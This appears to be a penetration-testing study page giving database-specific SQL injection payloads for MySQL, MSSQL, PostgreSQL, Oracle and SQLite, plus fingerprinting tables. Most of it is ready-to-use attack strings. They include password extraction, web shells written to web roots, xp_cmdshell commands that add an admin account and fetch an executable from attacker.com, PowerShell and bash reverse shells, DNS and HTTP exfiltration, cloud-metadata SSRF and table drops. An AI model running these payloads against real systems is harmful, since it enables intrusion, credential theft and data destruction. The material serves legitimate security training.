Domain 2Web App AttacksCORE

SQLi in Different Databases

Database-specific SQL injection techniques, syntax differences, unique functions, and specialized payloads for MySQL, MSSQL, PostgreSQL, Oracle, and SQLite with comprehensive fingerprinting methods.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#MySQL#MSSQL#PostgreSQL#Oracle#SQLite#Database Fingerprinting

SQLi in Different Databases

Overview

SQL injection payloads are database-specific. Each RDBMS has its own:

  • Comment syntax
  • String concatenation operators
  • Built-in functions (sleep, substring, encoding, etc.)
  • Information schema / metadata tables
  • File read/write capabilities
  • Stacked query support
  • Error message formats

This guide provides a complete cross-database reference for MySQL, MSSQL, PostgreSQL, Oracle, and SQLite.


1. MySQL / MariaDB

Key Characteristics

Feature MySQL Syntax / Notes
Comments -- (space required), #, /* */
String Concat CONCAT(str1, str2) or CONCAT_WS(sep, str1, str2)
Char Function CHAR(65,66,67) → 'ABC'
Substring SUBSTRING(str, pos, len) or MID(str, pos, len)
Left/Right LEFT(str, len), RIGHT(str, len)
Sleep SLEEP(seconds)
Benchmark BENCHMARK(count, expr)
Info Schema information_schema.tables, .columns, .schemata
File Read LOAD_FILE('/path/to/file')
File Write SELECT ... INTO OUTFILE '/path' or DUMPFILE
Hex Encode 0x616263 or HEX(), UNHEX()
Version VERSION(), @@version
Current User USER(), CURRENT_USER(), SYSTEM_USER()
Database Name DATABASE(), SCHEMA()
Null Value NULL
Boolean TRUE/FALSE, 1/0
String Quotes Single ' or double "
Stacked Queries ❌ NOT supported in most contexts (PDO, mysqli_query)
Group Concat `GROUP_CONCAT(col SEPARATOR ’
Limit LIMIT offset, count
IF Function IF(condition, true_val, false_val)
Case CASE WHEN cond THEN val END

MySQL-Specific Functions and Their SQLi Applications

SLEEP(seconds)

-- Time-based blind
1' AND SLEEP(5)-- -
1' AND IF(1=1, SLEEP(5), 0)-- -

BENCHMARK(count, expression)

-- CPU-based time delay (alternative to SLEEP)
1' AND IF(1=1, BENCHMARK(5000000, SHA1('test')), 0)-- -

MAKE_SET(bits, str1, str2, ...)

-- Boolean blind: returns str1 if bit 0 is set, str2 if bit 1 is set, etc.
1' AND MAKE_SET(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)), 'true', 'false')='true'-- -

EXTRACTVALUE(xml, xpath) — Error-Based

-- Forces XPath error that leaks data
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))-- -
-- Output: XPATH syntax error: '~8.0.35'

UPDATEXML(xml, xpath, new_xml) — Error-Based

1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 0,1)), 1)-- -
-- Output: XPATH syntax error: '~password_hash'

Geometry Error-Based

-- Polygon error
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- GeometryCollection error
1' AND GeometryCollection((SELECT * FROM (SELECT * FROM (SELECT * FROM users LIMIT 1) a) b))-- -

-- Multipoint error
1' AND Multipoint((SELECT * FROM (SELECT * FROM (SELECT * FROM users LIMIT 1) a) b))-- -

-- Polygon error
1' AND Polygon((SELECT * FROM (SELECT * FROM (SELECT * FROM users LIMIT 1) a) b))-- -

-- MultiPolygon error
1' AND MultiPolygon((SELECT * FROM (SELECT * FROM (SELECT * FROM users LIMIT 1) a) b))-- -

GET_LOCK(name, timeout) — Lock-Based Time Blind

-- If lock is acquired, returns 1; times out after N seconds if already held
1' AND GET_LOCK('arbitrary_string', 10)-- -
-- Use two connections: first holds the lock, second tests timing

LOAD_FILE(path) — File Read

-- Requires: FILE privilege, file must be on server, full path known, size < max_allowed_packet
1' UNION SELECT LOAD_FILE('/etc/passwd')-- -
-- Windows
1' UNION SELECT LOAD_FILE('C:\\Windows\\win.ini')-- -

INTO OUTFILE / INTO DUMPFILE — File Write

-- Requires: FILE privilege, secure_file_priv must allow the path
1' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -
-- DUMPFILE writes binary (no line ending processing)
1' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php'-- -

GROUP_CONCAT — Bypass LIMIT

-- Combine multiple rows into one string
1' UNION SELECT GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x7c) FROM users-- -
-- Default group_concat_max_len = 1024, can be increased

ORD() — Character to ASCII

-- Returns ASCII value of leftmost character
1' AND ORD(SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 1)) > 100-- -

ASCII() — Same as ORD for single chars

1' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 1)) = 97-- -

HEX() / UNHEX() — Encoding

-- Encode output to bypass filters
1' UNION SELECT HEX(password) FROM users LIMIT 0,1-- -
-- Decode input
1' AND UNHEX('61646d696e')='admin'-- -

BASE64 (via TO_BASE64 in MariaDB 10.5+)

-- MariaDB only
1' UNION SELECT TO_BASE64(password) FROM users LIMIT 0,1-- -

@@variables — Server Configuration

-- Read server variables
1' UNION SELECT @@version, @@basedir, @@datadir-- -
1' UNION SELECT @@secure_file_priv-- -
1' UNION SELECT @@sql_mode-- -

MySQL Error-Based Payloads Summary

Technique Payload Error Type
EXTRACTVALUE EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) XPATH syntax
UPDATEXML UPDATEXML(1, CONCAT(0x7e, (SELECT version())), 1) XPATH syntax
FLOOR(RAND) SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a Duplicate entry
GeometryCollection GeometryCollection((SELECT*FROM(SELECT*FROM(SELECT version())a)b)) Geometry error
Multipoint Multipoint((SELECT*FROM(SELECT*FROM(SELECT version())a)b)) Geometry error
Polygon Polygon((SELECT*FROM(SELECT*FROM(SELECT version())a)b)) Geometry error
MultiPolygon MultiPolygon((SELECT*FROM(SELECT*FROM(SELECT version())a)b)) Geometry error
Exp exp(~(SELECT*FROM(SELECT version())a)) Out of range
Geometry (old) 1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) Duplicate key

MySQL Boolean Blind Template

-- Character-by-character extraction
1' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) > 100, 1, 0)-- -

-- Using MAKE_SET
1' AND MAKE_SET(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 1)) > 100, '1', '0') = '1'-- -

MySQL Time-Based Blind Template

-- Using SLEEP
1' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 1)) > 100, SLEEP(5), 0)-- -

-- Using BENCHMARK
1' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 1)) > 100, BENCHMARK(5000000, SHA1('test')), 0)-- -

-- Using GET_LOCK (requires two connections)
1' AND GET_LOCK((SELECT password FROM users LIMIT 0,1), 5)-- -

2. MSSQL (Microsoft SQL Server)

Key Characteristics

Feature MSSQL Syntax / Notes
Comments --, /* */ (no #)
String Concat + operator: 'a' + 'b'
Char Function CHAR(65) → 'A'
Substring SUBSTRING(str, pos, len)
Left/Right LEFT(str, len), RIGHT(str, len)
Sleep WAITFOR DELAY '00:00:05'
Benchmark N/A (use WAITFOR)
Info Schema sys.tables, sys.columns, sys.databases, INFORMATION_SCHEMA.TABLES
File Read OPENROWSET, xp_cmdshell, BULK
File Write xp_cmdshell, bcp, OPENROWSET
Hex Encode 0x616263, CONVERT(varbinary, str)
Version @@version
Current User SYSTEM_USER, USER, USER_NAME(), SUSER_SNAME()
Database Name DB_NAME()
Null Value NULL
Boolean TRUE/FALSE, 1/0
String Quotes Single ' only
Stacked Queries ✅ FULLY SUPPORTED (critical difference!)
CAST/CONVERT CAST(expr AS type), CONVERT(type, expr)
Char to String CHAR(65) + CHAR(66)
ASCII ASCII('a') → 97
UNION UNION SELECT (standard)
Top N SELECT TOP 1 col FROM table

MSSQL-Specific Functions and Their SQLi Applications

Stacked Queries (CRITICAL MSSQL Feature)

-- MSSQL allows multiple statements separated by semicolons
1'; EXEC xp_cmdshell('whoami')--
1'; DROP TABLE users--
1'; EXEC master..xp_cmdshell 'net user hacker Pass123! /add'--
1'; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'--

-- Multiple stacked queries
1'; DECLARE @cmd varchar(100); SET @cmd = 'whoami'; EXEC master..xp_cmdshell @cmd--

xp_cmdshell — OS Command Execution

-- Basic usage
1'; EXEC xp_cmdshell 'whoami'--
1'; EXEC master..xp_cmdshell 'whoami'--

-- If disabled, re-enable it
1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'--

-- Write a file
1'; EXEC xp_cmdshell 'echo ^<^?php system($_GET["cmd"]); ^?^> > C:\inetpub\wwwroot\shell.php'--

-- Download and execute
1'; EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\temp\shell.exe"'--
1'; EXEC xp_cmdshell 'C:\temp\shell.exe'--

-- Reverse shell
1'; EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''10.10.14.1'',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$client.Close()"'--

WAITFOR DELAY — Time-Based Blind

-- Delay execution by specified time
1' WAITFOR DELAY '00:00:05'--
1' AND 1=1 WAITFOR DELAY '00:00:05'--

-- Conditional delay
1'; IF (1=1) WAITFOR DELAY '00:00:05'--
1'; IF (SUBSTRING((SELECT TOP 1 password FROM users), 1, 1) = CHAR(97)) WAITFOR DELAY '00:00:05'--

-- Format: 'hh:mm:ss' or 'hh:mm:ss.cc'
1'; WAITFOR DELAY '00:00:10'--
1'; WAITFOR DELAY '00:05:00'--

Error-Based via CONVERT

-- Force conversion error that leaks data
1' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--
-- Error: Conversion failed when converting the varchar value 'admin' to data type int.

-- More targeted
1' AND 1=CONVERT(int, (SELECT DB_NAME()))--
1' AND 1=CONVERT(int, (SELECT SYSTEM_USER))--

CAST / CONVERT — Type Casting

-- Cast to different types
1' AND CAST((SELECT TOP 1 username FROM users) AS int)--
1' AND CONVERT(int, (SELECT TOP 1 username FROM users))--

-- Cast to varbinary for hex output
1' UNION SELECT CONVERT(varbinary(255), (SELECT TOP 1 password FROM users))--

OPENROWSET — Remote Data Access / File Read

-- Read a file
1'; SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) x--

-- Read binary file
1'; SELECT * FROM OPENROWSET(BULK 'C:\path\to\file.exe', SINGLE_BLOB) x--

-- Requires: AD Hoc Distributed Queries enabled
1'; EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE; SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) x--

OPENDATASOURCE — Remote Server Access

1'; SELECT * FROM OPENDATASOURCE('Microsoft.ACE.OLEDB.12.0', 'Data Source=C:\path\file.xlsx;Extended Properties=Excel 12.0')...[Sheet1$]--

BULK INSERT — File Read

-- Read file into a temp table
1'; CREATE TABLE #tmp(content varchar(8000)); BULK INSERT #tmp FROM 'C:\Windows\win.ini'; SELECT * FROM #tmp; DROP TABLE #tmp--

sp_makewebtask — File Write (older versions)

1'; EXEC sp_makewebtask 'C:\inetpub\wwwroot\output.html', 'SELECT ''<script>alert(1)</script>'''--

SUSER_SNAME() / HAS_DBACCESS() — Privilege Checks

-- Check if current user is sysadmin
1' AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
-- Check database access
1' AND 1=(SELECT HAS_DBACCESS('master'))--

-- Get current login
1' UNION SELECT SUSER_SNAME(), SYSTEM_USER, USER, USER_NAME()--

fn_xe_file_target_read_file — Extended Events (SQL Server 2008+)

1'; SELECT * FROM sys.fn_xe_file_target_read_file('C:\Windows\*.xel', null, null, null)--

xp_dirtree — Directory Listing

1'; EXEC master..xp_dirtree 'C:\', 1, 1--

xp_fileexist — File Existence Check

1'; EXEC master..xp_fileexist 'C:\Windows\win.ini'--

sp_configure — Server Configuration

-- List all configurations
1'; EXEC sp_configure--

-- Enable specific features
1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE--
1'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--
1'; EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE--

MSSQL Boolean Blind Template

-- Character extraction using ASCII + SUBSTRING
1'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users), 1, 1)) > 100) WAITFOR DELAY '00:00:05'--

-- Boolean comparison
1' AND (SELECT ASCII(SUBSTRING((SELECT TOP 1 password FROM users), 1, 1))) > 100--

MSSQL Time-Based Blind Template

1'; IF (SUBSTRING((SELECT TOP 1 password FROM users), 1, 1) = CHAR(97)) WAITFOR DELAY '00:00:05'--

3. PostgreSQL

Key Characteristics

Feature PostgreSQL Syntax / Notes
Comments --, /* */ (no #)
String Concat || operator: 'a' || 'b'
Char Function CHR(65) → 'A'
Substring SUBSTRING(str FROM pos FOR len) or SUBSTR(str, pos, len)
Left/Right LEFT(str, len), RIGHT(str, len)
Sleep pg_sleep(seconds)
Benchmark N/A (use pg_sleep)
Info Schema information_schema.tables, .columns, pg_tables, pg_class
File Read pg_read_file(), COPY, lo_import()
File Write COPY ... TO, pg_write_file() (contrib), lo_export()
Hex Encode encode(data, 'hex'), decode(str, 'hex')
Version version()
Current User current_user, session_user, user, getpgusername()
Database Name current_database()
Null Value NULL
Boolean TRUE/FALSE, 1/0
String Quotes Single ' only
Stacked Queries ❌ NOT supported in most contexts (libpq PQexecParams)
CAST CAST(expr AS type) or expr::type
ASCII ASCII('a') → 97
Limit LIMIT count OFFSET offset
Array Agg ARRAY_AGG(col) or STRING_AGG(col, sep)

PostgreSQL-Specific Functions and Their SQLi Applications

pg_sleep(seconds) — Time-Based Blind

-- Basic sleep
1' AND pg_sleep(5)--
1' AND 1=1 AND pg_sleep(5)--

-- Conditional sleep
1' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
1' AND (SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='d') THEN pg_sleep(5) ELSE pg_sleep(0) END)--

pg_read_file(path, offset, length) — File Read

-- Read a file (must be in pg_data directory or accessible)
1' UNION SELECT pg_read_file('/etc/passwd', 0, 200)--

-- Read postgresql.conf
1' UNION SELECT pg_read_file('postgresql.conf', 0, 200)--

-- Read in chunks
1' UNION SELECT pg_read_file('/etc/passwd', 0, 100), pg_read_file('/etc/passwd', 100, 100)--

pg_ls_dir(directory) — Directory Listing

1' UNION SELECT pg_ls_dir('.')--
1' UNION SELECT pg_ls_dir('pg_tblspc')--

COPY TO / COPY FROM — File Read/Write

-- Write to file (requires superuser or WRITE access)
1'; COPY (SELECT 'test') TO '/tmp/test.txt'--

-- Read from file into table
1'; CREATE TABLE tmp(data text); COPY tmp FROM '/etc/passwd'; SELECT * FROM tmp; DROP TABLE tmp--

-- COPY TO with program (PostgreSQL 9.3+, requires superuser)
1'; COPY (SELECT '/bin/bash -c ''bash -i >& /dev/tcp/10.10.14.1/443 0>&1''') TO PROGRAM 'bash -c ''...'''--

-- COPY FROM program
1'; COPY tmp FROM PROGRAM 'cat /etc/passwd'--

lo_import(path) / lo_export(oid, path) — Large Object File Ops

-- Import file to large object, get OID
1' UNION SELECT lo_import('/etc/passwd')--

-- Export large object to file
1'; SELECT lo_export(loid, '/tmp/passwd_copy')--

encode() / decode() — Encoding

-- Encode binary data as hex/base64
1' UNION SELECT encode(the_hard_way, 'hex') FROM table--
1' UNION SELECT encode(the_hard_way, 'base64') FROM table--

-- Decode hex string
1' UNION SELECT decode('61646d696e', 'hex')--

STRING_AGG(col, separator) — Row Aggregation

-- Combine multiple rows
1' UNION SELECT STRING_AGG(username || ':' || password, '|' ORDER BY username) FROM users--

ARRAY_AGG(col) — Array Aggregation

1' UNION SELECT ARRAY_AGG(username) FROM users--

to_regclass('schema.table') — Error-Based

-- Forces error with table name in message
1' AND 1=cast((SELECT to_regclass('nonexistent' || (SELECT version()))) as int)--

Error-Based via Division by Zero

1' AND 1/(SELECT CASE WHEN (1=1) THEN 0 ELSE 1 END)--
-- Error: division by zero

Error-Based via CAST

1' AND 1=CAST((SELECT version()) AS int)--
-- Error: invalid input syntax for type integer

current_setting(name) — Configuration

-- Read PostgreSQL settings
1' UNION SELECT current_setting('data_directory')--
1' UNION SELECT current_setting('password_encryption')--
1' UNION SELECT current_setting('listen_addresses')--

inet_server_addr() / inet_server_port() — Network Info

1' UNION SELECT inet_server_addr(), inet_server_port()--

pg_backend_pid() — Process Info

1' UNION SELECT pg_backend_pid()--

PostgreSQL Boolean Blind Template

-- Using CASE + pg_sleep
1' AND (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)) > 100) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

-- Boolean comparison
1' AND (SELECT SUBSTRING(password, 1, 1) FROM users LIMIT 1) > 'm'--

PostgreSQL Time-Based Blind Template

1' AND (SELECT CASE WHEN (SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = 'a') THEN pg_sleep(5) ELSE pg_sleep(0) END)--

4. Oracle

Key Characteristics

Feature Oracle Syntax / Notes
Comments --, /* */ (no #)
String Concat || operator or CONCAT(str1, str2) (only 2 args!)
Char Function CHR(65) → 'A'
Substring SUBSTR(str, pos, len) or SUBSTRING(str, pos, len)
Left/Right SUBSTR(str, 1, len), SUBSTR(str, -len)
Sleep DBMS_LOCK.SLEEP(seconds)
Benchmark N/A
Info Schema ALL_TABLES, ALL_TAB_COLUMNS, ALL_USERS, DBA_TABLES
File Read UTL_FILE, UTL_HTTP, ORDSYS.ORD_IMAGE
File Write UTL_FILE, UTL_HTTP
Hex Encode RAWTOHEX(), HEXTORAW()
Version SELECT banner FROM v$version
Current User USER, SYS_CONTEXT('USERENV', 'CURRENT_USER')
Database Name GLOBAL_NAME, SYS_CONTEXT('USERENV', 'DB_NAME')
Null Value NULL
Boolean No direct boolean in SQL; use 1=1 / 1=0
String Quotes Single ' only
Stacked Queries ❌ NOT supported
DUAL Table ✅ Required for SELECT without FROM
CAST CAST(expr AS type)
ASCII ASCII('a') → 97
Rownum WHERE ROWNUM = 1 (no LIMIT)
Group Concat LISTAGG(col, sep) WITHIN GROUP (ORDER BY col)

Oracle-Specific Functions and Their SQLi Applications

DUAL Table Requirement

-- Oracle requires FROM clause; use DUAL for expressions
1' AND (SELECT COUNT(*) FROM DUAL) > 0--
1' UNION SELECT banner FROM v$version--
1' UNION SELECT version FROM v$version--
-- For expressions without a real table:
1' UNION SELECT 'test' FROM DUAL--

DBMS_LOCK.SLEEP(seconds) — Time-Based Blind

-- Requires execute permission on DBMS_LOCK
1' AND (SELECT CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE DBMS_LOCK.SLEEP(0) END FROM DUAL)--

-- Alternative syntax
1'; BEGIN DBMS_LOCK.SLEEP(5); END--
-- Note: stacked queries may not work in all contexts

UTL_HTTP.REQUEST(url) — Out-of-Band / SSRF

-- Make HTTP request to attacker server (data exfiltration)
1' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT password FROM users WHERE ROWNUM=1)) FROM DUAL)--

-- Can also be used for SSRF
1' AND (SELECT UTL_HTTP.REQUEST('http://169.254.169.254/latest/meta-data/') FROM DUAL)--

UTL_INADDR.GET_HOST_ADDRESS(host) — DNS Exfiltration

-- DNS-based OOB data exfiltration
1' AND (SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE ROWNUM=1) || '.attacker.com') FROM DUAL)--

CTXSYS.CTX_REPORT.TOKEN_EXPLAIN — Error-Based

-- Leak data via CTXSYS error messages
1' AND (SELECT CTXSYS.CTX_REPORT.TOKEN_EXPLAIN('test', (SELECT banner FROM v$version WHERE ROWNUM=1), 1) FROM DUAL)--

CTXSYS.DRITHSX.SN — Error-Based

1' AND (SELECT CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE ROWNUM=1)) FROM DUAL)--

ORDSYS.ORD_IMAGE.SNIPPET — Error-Based

1' AND (SELECT ORDSYS.ORD_IMAGE.SNIPPET((SELECT password FROM users WHERE ROWNUM=1), 1, 1, 1) FROM DUAL)--

SYS.UTL_LMS.MESSAGES — Error-Based

1' AND (SELECT SYS.UTL_LMS.MESSAGES((SELECT password FROM users WHERE ROWNUM=1)) FROM DUAL)--

RAWTOHEX() / HEXTORAW() — Encoding

-- Encode to hex
1' UNION SELECT RAWTOHEX(password) FROM users WHERE ROWNUM=1--

-- Decode from hex
1' AND HEXTORAW('61646d696e') = 'admin'--

LISTAGG(col, sep) — Row Aggregation

-- Combine multiple rows (Oracle 11g+)
1' UNION SELECT LISTAGG(username, '|') WITHIN GROUP (ORDER BY username) FROM users--

DBMS_XMLGEN.GETXML — Error-Based / Data Extraction

-- Extract data via XML generation
1' UNION SELECT DBMS_XMLGEN.GETXML('SELECT "' || (SELECT password FROM users WHERE ROWNUM=1) || '" AS val FROM DUAL') FROM DUAL--

DBMS_LDAP.INIT — OOB / Port Scan

-- Initialize LDAP connection (can be used for OOB)
1' AND (SELECT DBMS_LDAP.INIT((SELECT password FROM users WHERE ROWNUM=1) || '.attacker.com', 80) FROM DUAL)--

SYS_CONTEXT — Environment Info

-- Get session/environment information
1' UNION SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM DUAL--
1' UNION SELECT SYS_CONTEXT('USERENV', 'SESSION_USER') FROM DUAL--
1' UNION SELECT SYS_CONTEXT('USERENV', 'DB_NAME') FROM DUAL--
1' UNION SELECT SYS_CONTEXT('USERENV', 'INSTANCE_NAME') FROM DUAL--
1' UNION SELECT SYS_CONTEXT('USERENV', 'HOST') FROM DUAL--
1' UNION SELECT SYS_CONTEXT('USERENV', 'IP_ADDRESS') FROM DUAL--
1' UNION SELECT SYS_CONTEXT('USERENV', 'OS_USER') FROM DUAL--
1' UNION SELECT SYS_CONTEXT('USERENV', 'TERMINAL') FROM DUAL--

UTL_FILE — File Read/Write (PL/SQL)

-- Read file (requires directory object and privileges)
-- Typically used within PL/SQL blocks, harder to exploit directly via SQLi

-- Write file
1'; DECLARE f UTL_FILE.FILE_TYPE; BEGIN f := UTL_FILE.FOPEN('DIR', 'shell.jsp', 'W'); UTL_FILE.PUT(f, '<% out.println("pwned"); %>'); UTL_FILE.FCLOSE(f); END--

POWER() — Error-Based (Numeric Overflow)

-- Force numeric overflow error
1' AND (SELECT POWER((SELECT LENGTH(password) FROM users WHERE ROWNUM=1), 2540) FROM DUAL)--
-- Error: ORA-01426: numeric overflow

TO_NUMBER() — Error-Based

1' AND TO_NUMBER((SELECT username FROM users WHERE ROWNUM=1))=1--
-- Error: ORA-01722: invalid number
-- The error message reveals the username

Oracle Boolean Blind Template

-- Character extraction
1' AND (SELECT ASCII(SUBSTR(password, 1, 1)) FROM users WHERE username='admin' AND ROWNUM=1) > 100--

-- Using SUBSTR comparison
1' AND (SELECT SUBSTR(password, 1, 1) FROM users WHERE username='admin' AND ROWNUM=1) > 'm'--

Oracle Time-Based Blind Template

1' AND (SELECT CASE WHEN (ASCII(SUBSTR((SELECT password FROM users WHERE ROWNUM=1), 1, 1)) > 100) THEN DBMS_LOCK.SLEEP(5) ELSE DBMS_LOCK.SLEEP(0) END FROM DUAL)--

5. SQLite

Key Characteristics

Feature SQLite Syntax / Notes
Comments --, /* */ (no #)
String Concat || operator: 'a' || 'b'
Char Function CHAR() not available; use CHARACTER via encoding tricks
Substring SUBSTR(str, pos, len) or SUBSTRING(str, pos, len)
Left/Right SUBSTR(str, 1, len)
Sleep ❌ No built-in sleep function
Benchmark LIKE with complex patterns or randomblob()
Info Schema sqlite_master, sqlite_schema
File Read readfile('path') (SQLite 3.38.0+)
File Write writefile('path', data) (SQLite 3.38.0+, load_extension needed)
Hex Encode HEX(), UNHEX() not native; use printf('%02x', char())
Version sqlite_version()
Current User N/A (no user concept)
Database Name database()
Null Value NULL
Boolean 1/0, TRUE/FALSE
String Quotes Single ' or double "
Stacked Queries ✅ Supported (via sqlite3_exec) or ❌ (via sqlite3_prepare_v2)
CAST CAST(expr AS type)
ASCII UNICODE('a') → 97 (SQLite 3.8.3+)
Limit LIMIT count OFFSET offset
Group Concat GROUP_CONCAT(col, sep)
Load Extension LOAD_EXTENSION('path') (if enabled)

SQLite-Specific Functions and Their SQLi Applications

sqlite_master — Schema Introspection

-- List all tables
1' UNION SELECT sql FROM sqlite_master WHERE type='table'--

-- List all tables with names
1' UNION SELECT name, sql FROM sqlite_master WHERE type='table'--

-- List columns (parse from sql column)
1' UNION SELECT sql FROM sqlite_master WHERE type='table' AND name='users'--

-- Alternative: sqlite_schema (alias)
1' UNION SELECT name, sql FROM sqlite_schema WHERE type='table'--

readfile(path) — File Read (3.38.0+)

1' UNION SELECT readfile('/etc/passwd')--
1' UNION SELECT readfile('C:\Windows\win.ini')--

writefile(path, data) — File Write (3.38.0+, requires load_extension)

1' UNION SELECT writefile('/tmp/shell.php', '<?php system($_GET["cmd"]); ?>')--

ATTACH DATABASE — Database Manipulation

-- Attach another database file
1'; ATTACH DATABASE '/var/www/data/target.db' AS target--
1'; ATTACH DATABASE 'C:\path\to\malicious.db' AS malicious--

-- Write to attached database
1'; ATTACH DATABASE '/tmp/shell.php' AS shell; CREATE TABLE shell.payload (data TEXT); INSERT INTO shell.payload VALUES ('<?php system($_GET["cmd"]); ?>');--

-- Detach
1'; DETACH DATABASE shell--

Time-Based Workarounds (No Sleep Function)

-- Method 1: LIKE with large random blob (slow)
1' AND 1=(SELECT COUNT(*) FROM generate_series(1, 1000000) WHERE randomblob(100) LIKE '%zzzzz')--
-- Note: generate_series may not be available in all versions

-- Method 2: Heavy computation with LIKE
1' AND (SELECT COUNT(*) FROM (SELECT RANDOM() FROM sqlite_master UNION SELECT RANDOM() FROM sqlite_master UNION SELECT RANDOM() FROM sqlite_master) a, (SELECT RANDOM() FROM sqlite_master UNION SELECT RANDOM() FROM sqlite_master) b)--

-- Method 3: json_each with large data
1' AND (SELECT json_extract(payload, '$.a') FROM (SELECT group_concat(randomblob(1000), 'x') AS payload FROM sqlite_master LIMIT 1000))--

-- Method 4: Using load_extension if available
1'; SELECT LOAD_EXTENSION('/path/to/malicious.so')--

UNICODE(char) — Character to Code Point

1' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1), 1, 1)) > 100--

PRINTF() — String Formatting

-- Format strings
1' UNION SELECT printf('%02x', UNICODE(SUBSTR(password, 1, 1))) FROM users LIMIT 1--

LOAD_EXTENSION(path) — Extension Loading

-- Load a custom SQLite extension (if enabled)
1'; SELECT LOAD_EXTENSION('/path/to/extension.so')--
-- Can be used to execute arbitrary code if extension loading is enabled

GROUP_CONCAT(col, sep) — Row Aggregation

1' UNION SELECT GROUP_CONCAT(username, '|') FROM users--

LIKE — Pattern Matching (and Slow Query)

-- Basic pattern matching
1' AND username LIKE 'a%'--

-- Can be used for slow query DoS
1' AND (SELECT password FROM users) LIKE '%aaaaaaaaaaaaaaaaaaaaaaaa%'--

GLOB — Glob Pattern Matching

1' AND (SELECT password FROM users LIMIT 1) GLOB '[a-m]*'--

SQLite Boolean Blind Template

-- Character extraction using UNICODE
1' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1), 1, 1)) > 100--

-- Using SUBSTR comparison
1' AND SUBSTR((SELECT password FROM users LIMIT 1), 1, 1) > 'm'--

6. Database Fingerprinting

Why Fingerprint?

Before crafting payloads, identify the backend database:

  • Different databases use different syntax
  • Error messages reveal the database type
  • Available functions vary by database
  • Some techniques only work on specific databases

Method 1: Error Message Fingerprinting

Trigger an error and analyze the message format:

Database Error Trigger Error Message Pattern
MySQL ' You have an error in your SQL syntax... near ''
MySQL ' mysql_fetch_array(): supplied argument is not a valid MySQL result
MSSQL ' Unclosed quotation mark after the character string
MSSQL ' Incorrect syntax near
MSSQL ' Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
PostgreSQL ' ERROR: unterminated quoted string at or near
PostgreSQL ' ERROR: syntax error at or near
PostgreSQL ' PG::SyntaxError:
Oracle ' ORA-00933: SQL command not properly ended
Oracle ' ORA-01756: quoted string not properly terminated
Oracle ' Oracle error - ORA-xxxxx
SQLite ' SQLite3::query(): SQLSTATE[HY000]: Syntax error
SQLite ' near "xxx": syntax error

Method 2: Function-Based Fingerprinting

Test database-specific functions:

Database Test Payload Positive Response
MySQL 1' AND (SELECT CONCAT(0x7e, version()))-- Returns version with ~ prefix
MySQL 1' AND SLEEP(1)-- Page delays 1 second
MySQL 1' AND EXTRACTVALUE(1, CONCAT(0x7e, version()))-- XPATH error with version
MSSQL 1' AND @@version > 0-- No error (MSSQL specific)
MSSQL 1'; WAITFOR DELAY '00:00:01'-- Page delays 1 second
MSSQL 1' AND (SELECT TOP 1 @@version)>0-- No error
PostgreSQL 1' AND pg_sleep(1)-- Page delays 1 second
PostgreSQL 1' AND (SELECT version())::int-- PostgreSQL version error
Oracle 1' AND (SELECT banner FROM v$version WHERE ROWNUM=1)-- Oracle version in error
